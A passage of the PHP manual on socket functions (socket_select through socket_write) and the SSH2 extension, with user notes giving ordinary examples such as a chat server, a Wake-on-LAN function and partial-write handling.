                    socket_write($read_sock, $msg, strlen($msg));
                    echo "OK\n";
                    flush();ob_flush();

                    echo "Closing ... ";
                    flush();ob_flush();
                    socket_close($read_sock);
                    echo "OK\n";
                    flush();ob_flush();
                }
                else
                {
// here is normal IO operations with client
}

2) every output to client should be ended with "\0" (if using XMLSocket in Flash client) - otherwise flash will not generate onData event

Russian examples is there - http://www.flasher.ru/forum/showpost.php?p=901346&postcount=7
Aaron (aaron at acephalo dot us) 07-Oct-2009 11:21
socket_select() can also serve as a more granular sleep():

<?php
  # half-second sleep
  $undef = array();
  socket_select($undef, $undef, $undef, 0, "500000");
?>
eidberger at jakota dot de 18-Mar-2009 06:06
Just noticed that you have to loop socket_select () when using UDP to get all queued packets:

<?php
while (socket_select ($aRead, $aWrite, $aExcept, 1) > 0) {
    foreach ($aReadUdp as $oSocket) {
        $this->clientReadUdp ($oSocket);
    }
}
?>

That's important because every call of socket_select () on UDP brings you only one result. But there could be 10.000 results queued and if your turnarround time is to slow (server busy, other sleeps etc.), you'll never progress all results in near realtime.
danny at dansheps dot com 16-Sep-2008 09:45
Just to add to this.  Since the information contained in the notes is somewhat old.   It appears keys are being preserved now.

So, if you rely on knowing which keys need to be worked with and were like me and thought that it didnot preserve.  Well it does.
qartis at gmail dot com 30-Nov-2007 01:38
In regards to the code posted by vardhan ( at ) rogers ( dot ) com, it appears that on the following line:
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
the timeout parameter is accidentally set to 0, rather than NULL. This means that the select call will return immediately rather than blocking indefinitely.

Change the socket_select line to the following for great success:
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
23-Jan-2007 03:04
If you want to use a simple fractional value for timeout:

<?php
socket_select(..., floor($timeout), ceil($timeout*1000000));
?>
Whosawhatsis at that google email thingy 19-Apr-2006 07:35
Another solution to the problem of keys not being preserved is to have an additional array for looking up sockets that uses their resource identifiers as keys. This can be obtained using array_flip() in some cases, but is particularly useful if each socket is associated with an object. In this case, you can make the object's constructor add a pointer to itself to the lookup array with its socket resource identifier as a key and use the following code to execute a read method for the object associated with each socket returned by socket_select():

<?php
socket_select($reads, $writes, $excepts, 0);

foreach ($sockets as $socket) {
    $lookuparray[$socket]->read();
}
?>
ludvig dot ericson at gmail dot com 01-Nov-2005 05:35
Regarding the comment below, No, it does not, it's a system call and I believe it's rather hard to preserve keys.

Additionally, socket_select should be used like it was a user-inputted array, that you don't know what you sent in to.

<?php
$reads = $clients;
$reads[] = $server;

socket_select($reads);

foreach ($reads as $read) {
    /* do some stuff */
}
?>
crimson at NOSPAMtechnologist dot com 30-Sep-2005 04:15
Note that the resulting arrays do NOT maintain keys (PHP 4.3.2) after being run through this function:

Before:
Array
(
    [Client_Socket] => Resource id #6
    [Server_Socket] => Resource id #9
)

After:
Array
(
    [0] => Resource id #6
    [1] => Resource id #9
)

It would have been nice to have the keys stay to figure out which stream you need to receive from, but you'll have to use some fancy foreach loop to figure out which sockets to check.
vardhan ( at ) rogers ( dot ) com 28-Aug-2005 07:46
A simple PHP script using socket_select() to manage multiple connections.
connect using "telnet localhost 9050". it broadcasts your messages that you send through telnet to other users connected to the server -- sort of like a chat script

#!/usr/local/bin/php
<?php

    $port = 9050;

    // create a streaming socket, of type TCP/IP
    $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

    // set the option to reuse the port
    socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);

    // "bind" the socket to the address to "localhost", on port $port
    // so this means that all connections on this port are now our resposibility to send/recv data, disconnect, etc..
    socket_bind($sock, 0, $port);

    // start listen for connections
    socket_listen($sock);

    // create a list of all the clients that will be connected to us..
    // add the listening socket to this list
    $clients = array($sock);

    while (true) {
        // create a copy, so $clients doesn't get modified by socket_select()
        $read = $clients;

        // get a list of all the clients that have data to be read from
        // if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;

        // check if there is a client trying to connect
        if (in_array($sock, $read)) {
            // accept the client, and add him to the $clients array
            $clients[] = $newsock = socket_accept($sock);

            // send the client a welcome message
            socket_write($newsock, "no noobs, but ill make an exception :)\n".
            "There are ".(count($clients) - 1)." client(s) connected to the server\n");

            socket_getpeername($newsock, $ip);
            echo "New client connected: {$ip}\n";

            // remove the listening socket from the clients-with-data array
            $key = array_search($sock, $read);
            unset($read[$key]);
        }

        // loop through all the clients that have data to read from
        foreach ($read as $read_sock) {
            // read until newline or 1024 bytes
            // socket_read while show errors when the client is disconnected, so silence the error messages
            $data = @socket_read($read_sock, 1024, PHP_NORMAL_READ);

            // check if the client is disconnected
            if ($data === false) {
                // remove client for $clients array
                $key = array_search($read_sock, $clients);
                unset($clients[$key]);
                echo "client disconnected.\n";
                // continue to the next client to read from, if any
                continue;
            }

            // trim off the trailing/beginning white spaces
            $data = trim($data);

            // check if there is any data after trimming off the spaces
            if (!empty($data)) {

                // send this to all the clients in the $clients array (except the first one, which is a listening socket)
                foreach ($clients as $send_sock) {

                    // if its the listening sock or the client that we got the message from, go to the next one in the list
                    if ($send_sock == $sock || $send_sock == $read_sock)
                        continue;

                    // write the message to the client -- add a newline character to the end of the message
                    socket_write($send_sock, $data."\n");

                } // end of broadcast foreach

            }

        } // end of reading foreach
    }

    // close the listening socket
    socket_close($sock);
?>
drenintell 01-May-2005 01:13
The continuation of my my previous post on 28-Apr-2005 10:19 at
http://ca3.php.net/manual/en/function.socket-select.php

Here it is: (Link is broken into 2 parts)

'http://gtkphp.org/php_socket_select_hangs
_explanation_and_solution.html'
Richard Neill 16-Sep-2004 09:37
It is probably a bad idea to watch an array of sockets for input with socket_select, and then socket_read() using PHP_NORMAL_READ.

Although this seems desirable, you can end up with a permanently blocked program, if someone sends you malformed input which is missing a trailing \n \r. Guess how I found that out.
calimero dot NOSPAM at NOSPAM dot creatixnet dot com 14-Feb-2003 04:36
Please note that the timeout parameter has important side-effects on the CPU usage of your script.

Setting the timeout to 0 will make your CPU looping without any time to have some rest and handle other running processes on your system, causing the system load to increase heavily while your script is running.

Personnaly, I use a value of 15 ms for this parameter. this ensures a good listening frequency while letting your system load clear.

Example :
$read = array($ListeningSocket);
$num_changed_sockets = socket_select($read, $write = NULL, $except = NULL, 0, 10);

Hope this helps.
daveb at optusnet dot com dot au 09-Sep-2002 09:27
If you haven't done any network programming before, PHP's socket_select() might appear a bit strange to you. I've written a simple php "partyline" script to demonstrate the multi-socket use of select'ing at http://dave.dapond.com/socketselect.php.txt
julian dot haupt at gmx dot de 09-Jul-2002 10:15
hello,
i just made a class which acts similiar to Perl's IO::Select in order to make socket selecting very easy

your script should look something like that:

<?php
$server = new Server;
$client = new Client;

for (;;) {
  foreach ($select->can_read(0) as $socket) {

    if ($socket == $client->socket) {
      // New Client Socket
      $select->add(socket_accept($client->socket));
    }
    else {
      //there's something to read on $socket
    }
  }
}
?>

you should of course implement some routines to detect broken sockets and remove them from the select object.

you can also do output buffering and check in the main-loop for sockets that are ready to write

<?php
class select {
  var $sockets;

  function select($sockets) {

    $this->sockets = array();

    foreach ($sockets as $socket) {
      $this->add($socket);
    }
  }

  function add($add_socket) {
    array_push($this->sockets,$add_socket);
  }

  function remove($remove_socket) {
    $sockets = array();

    foreach ($this->sockets as $socket) {
      if($remove_socket != $socket)
        $sockets[] = $socket;
    }

    $this->sockets = $sockets;
  }

  function can_read($timeout) {
    $read = $this->sockets;
    socket_select($read,$write = NULL,$except = NULL,$timeout);
    return $read;
  }

  function can_write($timeout) {
    $write = $this->sockets;
    socket_select($read = NULL,$write,$except = NULL,$timeout);
    return $write;
  }
}
?>
socket_recvfrom
socket_send
Socket Functions


Sends data to a connected socket

socket_select
socket_sendto
Socket Functions
PHP Manual

socket_send

(PHP 4 >= 4.1.0, PHP 5)

socket_send — Sends data to a connected socket

Description

int socket_send ( resource $socket , string $buf , int $len , int $flags )

The function socket_send() sends len bytes to the socket socket from buf.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

buf

A buffer containing the data that will be sent to the remote host.

len

The number of bytes that will be sent to the remote host from buf.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Possible values for flags
MSG_OOB | Send OOB (out-of-band) data.
MSG_EOR | Indicate a record mark. The sent data completes the record.
MSG_EOF | Close the sender side of the socket and include an appropriate notification of this at the end of the sent data. The sent data completes the transaction.
MSG_DONTROUTE | Bypass routing, use direct interface.

Return Values

socket_send() returns the number of bytes sent, or FALSE on error.

See Also

  • socket_sendto() - Sends a message to a socket, whether it is connected or not

User Contributed Notes

jo at edarta dot be 27-Mar-2008 06:00
In php-5.2.0, there's no MSG_EOF anymore. This is not even needed if you make sure you handle writes and close of sockets correctly.
KingOfDos 08-Nov-2005 07:41
I changed the Magic Packet function to this. I beleave that an function may not return any value, only an true/false (in the most way's).
<?PHP
function wol_magic_packet($mac,$addr='255.255.255.255') {
    //Requirements__________________________
    //    You need to load the php_sockets.dll (in case of Windows, don't
    //    know @ linux, compile with --socket-support i beleave ).
    //    Otherwise he cannot find the socket_create function
    //Usage________________________________
    //    $addr:
    //        You will send and broadcast tho this addres.
    //        Normaly you need to use the 255.255.255.255 adres, so i made it as default. So you don't need
    //        to do anything with this.
    //    $mac:
    //        You will WAKE-UP this WOL-enabled computer, you need to add the MAC-addres here.
    //
    //Return________________________________
    //    TRUE:    When socked was created succesvolly and the message has been send.
    //    FALSE:    Something went wrong
    //
    //Example_1_____________________________
    //    When the message has been send you will see the message "Done...."
    //
    //    if ( wol_magic_packet ( '00:00:00:00:00:00' ) )
    //        echo 'Done...';
    //    else
    //        echo 'Error while sending';
    //
    //Example_2_____________________________
    //    To loop more computers:
    //
    //    $arr = array(
    //        '00:00:00:00:00:00',
    //        '00:00:00:00:00:00'
    //    );
    //    foreach($arr as $this_id => $this_mac)
    //        if (! wol_magic_packet ( $this_mac ))
    //            echo 'Error while sending to ['. $this_mac .']<br />'."\r\n";
    //___________________________________________

    //Check if it's an real MAC-addres and split it into an array
    if (!preg_match("/([A-F0-9]{2}[-:]){5}[A-F0-9]{2}/",$mac,$maccheck))
        return false;
    $addr_byte = preg_split("/[-:]/",$maccheck[0]);

    //Creating hardware adress
    $hw_addr = '';
    for ($a=0; $a < 6; $a++)//Changing mac adres from HEXEDECIMAL to DECIMAL
        $hw_addr .= chr(hexdec($addr_byte[$a]));

    //Create package data
    $msg = str_repeat(chr(255),6);
    for ($a = 1; $a <= 16; $a++)
        $msg .= $hw_addr;

    //Sending data
    if ( //If
        function_exists('socket_create') AND //socket_create exists
        $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP) AND //Can create the socket
        $sock_data = socket_connect($sock, $addr, 2050) //Can connect to the socket
    ) {  //Then
        $sock_data = socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); //Set
        $sock_data = socket_write($sock, $msg, strlen($msg)); //Send data
        socket_close($sock); //Close socket
        return true;
    } else //Esle? :P
        return false;
}
?>
socket_select
socket_sendto
Socket Functions


Sends a message to a socket, whether it is connected or not

socket_send
socket_set_block
Socket Functions
PHP Manual

socket_sendto

(PHP 4 >= 4.1.0, PHP 5)

socket_sendto — Sends a message to a socket, whether it is connected or not

Description

int socket_sendto ( resource $socket , string $buf , int $len , int $flags , string $addr [, int $port = 0 ] )

The function socket_sendto() sends len bytes from buf through the socket socket to the port at the address addr.

Parameters

socket

A valid socket resource created using socket_create().

buf

The sent data will be taken from buffer buf.

len

len bytes from buf will be sent.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Possible values for flags
MSG_OOB | Send OOB (out-of-band) data.
MSG_EOR | Indicate a record mark. The sent data completes the record.
MSG_EOF | Close the sender side of the socket and include an appropriate notification of this at the end of the sent data. The sent data completes the transaction.
MSG_DONTROUTE | Bypass routing, use direct interface.

addr

IP address of the remote host.

port

port is the remote port number at which the data will be sent.

Return Values

socket_sendto() returns the number of bytes sent to the remote host, or FALSE if an error occurred.

Examples

Example #1 socket_sendto() Example

<?php
    $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    $msg = "Ping !";
    $len = strlen($msg);

    socket_sendto($sock, $msg, $len, 0, '127.0.0.1', 1223);
    socket_close($sock);
?>

See Also

  • socket_send() - Sends data to a connected socket

User Contributed Notes

ole_DOT_omland_AT_gmail_DOT_com 12-Oct-2005 07:44
Here's how you can make an udp broadcast, useful sometimes, and does seem hard to figure out hwo to do..

<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
socket_sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', $port);
?>
socket_send
socket_set_block
Socket Functions


Sets blocking mode on a socket resource

socket_sendto
socket_set_nonblock
Socket Functions
PHP Manual

socket_set_block

(PHP 4 >= 4.2.0, PHP 5)

socket_set_block — Sets blocking mode on a socket resource

Description

bool socket_set_block ( resource $socket )

The socket_set_block() function removes the O_NONBLOCK flag on the socket specified by the socket parameter.

When an operation (e.g. receive, send, connect, accept, ...) is performed on a blocking socket, the script will pause its execution until it receives a signal or it can perform the operation.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 socket_set_block() example

<?php
$socket = socket_create_listen(1223);
socket_set_block($socket);

socket_accept($socket);
?>

This example creates a listening socket on all interfaces on port 1223 and sets the socket to O_BLOCK mode. socket_accept() will hang until there is a connection to accept.

See Also

  • socket_set_nonblock() - Sets nonblocking mode for file descriptor fd
  • socket_set_option() - Sets socket options for the socket

User Contributed Notes

There are no user contributed notes for this page.
socket_sendto
socket_set_nonblock
Socket Functions


Sets nonblocking mode for file descriptor fd

socket_set_block
socket_set_option
Socket Functions
PHP Manual

socket_set_nonblock

(PHP 4 >= 4.1.0, PHP 5)

socket_set_nonblock — Sets nonblocking mode for file descriptor fd

Description

bool socket_set_nonblock ( resource $socket )

The socket_set_nonblock() function sets the O_NONBLOCK flag on the socket specified by the socket parameter.

When an operation (e.g. receive, send, connect, accept, ...) is performed on a non-blocking socket, the script will not pause its execution until it receives a signal or it can perform the operation. Rather, if the operation would result in a block, the called function will fail.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 socket_set_nonblock() example

<?php
$socket = socket_create_listen(1223);
socket_set_nonblock($socket);

socket_accept($socket);
?>

This example creates a listening socket on all interfaces on port 1223 and sets the socket to O_NONBLOCK mode. socket_accept() will immediately fail unless there is a pending connection exactly at this moment.

See Also

  • socket_set_block() - Sets blocking mode on a socket resource
  • socket_set_option() - Sets socket options for the socket

User Contributed Notes

kpobococ at gmail dot com 11-Sep-2009 07:46
Beware, when using this function within a loop (i.e. a demon with a socket). The socket_accept(), for example, emits a warning each time there is no incoming connection available to be read. My php error log file got huge in a matter of seconds, eventually crashing the server.

Of course, i used the @ before the function to take care of that problem.

[EDITOR: One can (and should) use socket_select to detect a new connection on a socket (it's a "readable" event)]
socket_set_block
socket_set_option
Socket Functions


Sets socket options for the socket

socket_set_nonblock
socket_shutdown
Socket Functions
PHP Manual

socket_set_option

(PHP 4 >= 4.3.0, PHP 5)

socket_set_option — Sets socket options for the socket

Description

bool socket_set_option ( resource $socket , int $level , int $optname , mixed $optval )

The socket_set_option() function sets the option specified by the optname parameter, at the specified protocol level, to the value pointed to by the optval parameter for the socket.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

level

The level parameter specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function.

optname

The available socket options are the same as those for the socket_get_option() function.

optval

The option value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 socket_set_option() example

<?php
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!is_resource($socket)) {
    echo 'Unable to create socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo 'Unable to set option on socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_bind($socket, '127.0.0.1', 1223)) {
    echo 'Unable to bind socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

$rval = socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR);

if ($rval === false) {
    echo 'Unable to get socket option: '. socket_strerror(socket_last_error()) . PHP_EOL;
} else if ($rval !== 0) {
    echo 'SO_REUSEADDR is set on socket !' . PHP_EOL;
}
?>

Changelog

Version | Description
4.3.0 | This function was renamed. It used to be called socket_setopt().

User Contributed Notes

DaveRandom 26-Nov-2010 04:13
Setting the socket timeout microseconds ('usec') does not work under Windows, at least under PHP/5.2.9:

<?php

  $timeout = array('sec'=>1,'usec'=>500000);
  socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO,$timeout);
  var_dump(socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO));

?>

Output on Windows box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(0)
}

Output on Linux box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(500000)
}
aeolianmeson at ifacfchi dot blitzeclipse dot com 26-Jun-2008 03:31
Lingering will sometimes not work when you're working with non-blocking sockets. Even if the socket is set to linger and you keep tying to close until the socket doesn't return an error and the resource is no longer identifiable as type 'Socket', the socket may STILL close without sending everything.

Therefore, in the event that you are using non-blocking sockets (which is preferable if you care at all about signaling), you should set the socket as blocking (socket_set_block()) before calling to close it. This will allow everything to flush before it returns.

Dustin Oprea
ludvig dot ericson at gmail dot com 21-Dec-2006 01:06
I would like to comment on the previous note regarding blocking sockets.
There is more to blocking sockets than waiting for data to be received when trying to be read upon, just to make example, a listening blocking socket will wait for a client to try to connect before it returns when you socket_accept() it.
drenintell 30-Apr-2005 05:19
To expand a bit more on what "tim at e2-media dot co dot nz" started.

SO_SNDTIMEO is one of the many constants you can use with socket_set_option.

See http://ca.php.net/manual/en/ref.sockets.php for the available Predefind Constants and visit http://man.he.net/man2/setsockopt for the meaning of the ones relevant.

Tim's example might seem at first a bit non-intuitive since he is using the SO_SNDTIMEO constant. Which means, if the socket has to send out data, it must do it within the limit specified - in his case 10 seconds. Usually you won't set a timeout for sending out data. Nevertheless, the example is valid, and there are situations where you need to do so.

A more intuitive use of socket_set_option would be to set a time out for a blocking socket (a socket that waits for data to be receive when read from). You would do this like so:

socket_set_option($socket,SOL_SOCKET, SO_RCVTIMEO, array("sec"=>0, "usec"=>100));

Notice that sec= 0 and usec= 100; Depending on how long you want your program to wait to recieve data, you might want to change these values.

Regards,
  drenintell
tim at e2-media dot co dot nz 16-May-2004 08:00
To set a socket timeout value (assuming you've set it blocking) use:

socket_set_option(
  $socket,
  SOL_SOCKET,  // socket level
  SO_SNDTIMEO, // timeout option
  array(
    "sec"=>10, // Timeout in seconds
    "usec"=>0  // I assume timeout in microseconds
    )
  );
socket_set_nonblock
socket_shutdown
Socket Functions


Shuts down a socket for receiving, sending, or both

socket_set_option
socket_strerror
Socket Functions
PHP Manual

socket_shutdown

(PHP 4 >= 4.1.0, PHP 5)

socket_shutdown — Shuts down a socket for receiving, sending, or both

Description

bool socket_shutdown ( resource $socket [, int $how = 2 ] )

The socket_shutdown() function allows you to stop incoming, outgoing or all data (the default) from being sent through the socket

Parameters

socket

A valid socket resource created with socket_create().

how

The value of how can be one of the following:

possible values for how
0 | Shutdown socket reading
1 | Shutdown socket writing
2 | Shutdown socket reading and writing

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

recycling dot sp dot am at gmail dot com 16-Sep-2010 09:09
Shutdown and SOL_TCP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Shutdown and SOL_UDP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_UDP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Conclusion: if you are not actually connected, shutdown will fails with socket_error = 107, Transport endpoint is not connected. This is true for both TPC and UDP connection (which is suprising, UDP being a connectionless protocol). This is true no matter the value set for the how parameter.
korvin at biz dot by 21-May-2009 02:12
Closing socket graceful
<?php
  socket_shutdown($resHandle, 1);//remote host yet can read
  usleep(500);//wait remote host
  socket_shutdown($resHandle, 0);//close reading
  socket_close($resHandle);//finaly we can free resource
?>
richard dot thomas at psysolutions dot com 23-Nov-2005 10:20
That is not a good example of a graceful shutdown. One should close the sending side of the socket and continue to read until the remote end closes its sending connection.
ludvig dot ericson at gmail dot com 02-Sep-2005 01:13
Sockets should be first shutdown and then closed.
<?php
// Sample: Closing sockets gracefully
socket_shutdown($sock, 2);
socket_close($sock);
?>
socket_set_option
socket_strerror
Socket Functions


Return a string describing a socket error

socket_shutdown
socket_write
Socket Functions
PHP Manual

socket_strerror

(PHP 4 >= 4.1.0, PHP 5)

socket_strerror — Return a string describing a socket error

Description

string socket_strerror ( int $errno )

socket_strerror() takes as its errno parameter a socket error code as returned by socket_last_error() and returns the corresponding explanatory text.

Note:

Although the error messages generated by the socket extension are in English, the system messages retrieved with this function will appear depending on the current locale (LC_MESSAGES).

Parameters

errno

A valid socket error number, likely produced by socket_last_error().

Return Values

Returns the error message associated with the errno parameter.

Examples

Example #1 socket_strerror() example

<?php
if (false == ($socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
   echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (false == (@socket_bind($socket, '127.0.0.1', 80))) {
   echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
?>

The expected output from the above example (assuming the script is not run with root privileges):

socket_bind() failed: reason: Permission denied

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)

User Contributed Notes

There are no user contributed notes for this page.
socket_shutdown
socket_write
Socket Functions


Write to a socket

socket_strerror
SSH2
Socket Functions
PHP Manual

socket_write

(PHP 4 >= 4.1.0, PHP 5)

socket_write — Write to a socket

Description

int socket_write ( resource $socket , string $buffer [, int $length = 0 ] )

The function socket_write() writes to the socket from the given buffer.

Parameters

socket

buffer

The buffer to be written.

length

The optional parameter length can specify an alternate length of bytes written to the socket. If this length is greater then the buffer length, it is silently truncated to the length of the buffer.

Return Values

Returns the number of bytes successfully written to the socket or FALSE on failure. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

Note:

It is perfectly valid for socket_write() to return zero which means no bytes have been written. Be sure to use the === operator to check for FALSE in case of an error.

Notes

Note:

socket_write() does not necessarily write all bytes from the given buffer. It's valid that, depending on the network buffers etc., only a certain amount of data, even one byte, is written though your buffer is greater. You have to watch out so you don't unintentionally forget to transmit the rest of your data.

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_read() - Reads a maximum of length bytes from a socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

jean at briskula dot si 03-Feb-2011 03:00
Some clients (Flash's XMLSocket for example) won't fire a read event until a new line is recieved.

<?php
    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = "$msg\n\0";
        $length = strlen($msg);
        while(true) {
            $sent = socket_write($sock,$msg,$length);
            if($sent === false) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                print("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
revelable at hotmail dot com 20-Dec-2010 05:08
Here we have the same function to write a socket but with improved performance.

If the messager are not larger, they will be written entirely with a single socket_write() call. And is not needed to call the substr() function for the first bucle.

<?php
$st="Message to sent";
$length = strlen($st);

    while (true) {

        $sent = socket_write($socket, $st, $length);

        if ($sent === false) {

            break;
        }

        // Check if the entire message has been sented
        if ($sent < $length) {

            // If not sent the entire message.
            // Get the part of the message that has not yet been sented as message
            $st = substr($st, $sent);

            // Get the length of the not sented part
            $length -= $sent;

        } else {

            break;
        }

    }
?>
slyv at poczta dot onet dot pl 13-Feb-2009 02:16
"socket_write() does not necessarily write all bytes from the given buffer."
So I wrote the following code to correctly write message to the socket

<?php
$message="Message to sent";
$len = strlen($message);
$offset = 0;
while ($offset < $len) {
    $sent = socket_write($socket, substr($message, $offset), $len-$offset);
    if ($sent === false) {
        // Error occurred, break the while loop
        break;
    }
    $offset += $sent;
}
if ($offset < $len) {
    $errorcode = socket_last_error();
    $errormsg = socket_strerror($errorcode);
    echo "SENDING ERROR: $errormsg";
} else {
        // Data sent ok
}
?>
masterwaster at gmail dot com 26-Aug-2008 11:42
Hi,
if you got same problems like i have

<?php
@socket_write($xd, "Good Bye!\n\r");
@socket_shutdown($xd, 2);
@socket_close($xd);
?>

wont'tx send "Good Bye!\n\r" to the opened socket.

but if you put a
usleep or something like echo "";
between write and shutdown its working.
webmaster at you-are-infected dot com 23-Aug-2006 10:27
If you connect to a Server in a way like you do with telnet or some similar protokoll you may have problems with sending data to the server. I found out that at some servers there is a different between:

<?php

    socket_write ($my_socket, $line, strlen ($line));
    socket_write ($my_socket, "\r\n", strlen ("\r\n"));

?>
witch worked at least, and
<?php
    socket_write ($my_socket, $line."\r\n", strlen ($line."\r\n"));
?>
wich made the server stop sending any data.

I hope this helps to save a lot of time. I needed about two days to find out, that this was the problem ;)
gtk at linux dot online dot no 20-Aug-2002 04:43
from http://www.manualy.sk/sock-faq/unix-socket-faq-2.html
read() is equivalent to recv() with a flags parameter of 0. Other values for the flags parameter change the behaviour of recv(). Similarly, write() is equivalent to send() with flags == 0.
socket_strerror
SSH2
Socket Functions


Secure Shell2

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SSH2 Functions
    • ssh2_auth_hostbased_file — Authenticate using a public hostkey
    • ssh2_auth_none — Authenticate as "none"
    • ssh2_auth_password — Authenticate over SSH using a plain password
    • ssh2_auth_pubkey_file — Authenticate using a public key
    • ssh2_connect — Connect to an SSH server
    • ssh2_exec — Execute a command on a remote server
    • ssh2_fetch_stream — Fetch an extended data stream
    • ssh2_fingerprint — Retrieve fingerprint of remote server
    • ssh2_methods_negotiated — Return list of negotiated methods
    • ssh2_publickey_add — Add an authorized publickey
    • ssh2_publickey_init — Initialize Publickey subsystem
    • ssh2_publickey_list — List currently authorized publickeys
    • ssh2_publickey_remove — Remove an authorized publickey
    • ssh2_scp_recv — Request a file via SCP
    • ssh2_scp_send — Send a file via SCP
    • ssh2_sftp_lstat — Stat a symbolic link
    • ssh2_sftp_mkdir — Create a directory
    • ssh2_sftp_readlink — Return the target of a symbolic link
    • ssh2_sftp_realpath — Resolve the realpath of a provided path string
    • ssh2_sftp_rename — Rename a remote file
    • ssh2_sftp_rmdir — Remove a directory
    • ssh2_sftp_stat — Stat a file on a remote filesystem
    • ssh2_sftp_symlink — Create a symlink
    • ssh2_sftp_unlink — Delete a file
    • ssh2_sftp — Initialize SFTP subsystem
    • ssh2_shell — Request an interactive shell
    • ssh2_tunnel — Open a tunnel through a remote server

User Contributed Notes

zelnaga+php at gmail dot com 25-Feb-2009 12:45
if you're trying to connect to an ssh server in an environment where the ssh2 extension cannot be installed this pure-php implementation may be helpful:

http://phpseclib.sourceforge.net/documentation/net.html
steven at salvania dot be 08-Jan-2009 02:09
For windows users only:

The PECL ssh2 extension is not able to use (at least) the pubkey authentication correctly, as well as it will crash at the point where the connection is closed because of the wrong functions being used under windows.

Thanks to some patches and comments from other users I was able to compile this extension and you can download it from:
http://www.salvania.be/tmp/php_ssh2__528.rar

This works (at least) with PHP 5.2.8. It is linked against libSSH2 v1.0 and OpenSSL v0.9.8i.

Have fun!
codeslinger at compsalot dot com 05-Aug-2008 07:36
if you are trying to build this PECL extension because your distro does not already provide it....   then you need to apply a patch or else it won't "make".  The problem is that libssh2 has changed the name and value of a conditional compile flag.  See this bug for the fix.

http://pecl.php.net/bugs/bug.php?id=11779

P.S. if you are using Ubuntu 8.04 or earlier,  the package request has already been filed.
tom at r dot je 03-Jul-2008 02:38
As an alternative to using SSH2, it's easier to mount a remote file system ( http://ubuntu.wordpress.com/2005/10/28/
how-to-mount-a-remote-ssh-filesystem-using-sshfs/ ) and use the standard php copy() unlink() etc files.
socket_write
Introduction
Other Services


Introduction

Bindings to the » libssh2 library which provide access to resources (shell, remote exec, tunneling, file transfer) on a remote machine using a secure cryptographic transport.

User Contributed Notes

There are no user contributed notes for this page.
SSH2
Installing/Configuring
SSH2


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SSH2


Requirements

The » OpenSSL and » libssh2 libraries are required. Ensure that the development libraries are installed, where a typical package name might be openssl-dev.

Note: Version 0.4 or newer of the libssh2 library is required, although it's possible newer releases of pecl/ssh2 may require newer versions (see the release notes).

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ssh2.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

imedina at grosshat dot com 09-Dec-2010 02:09
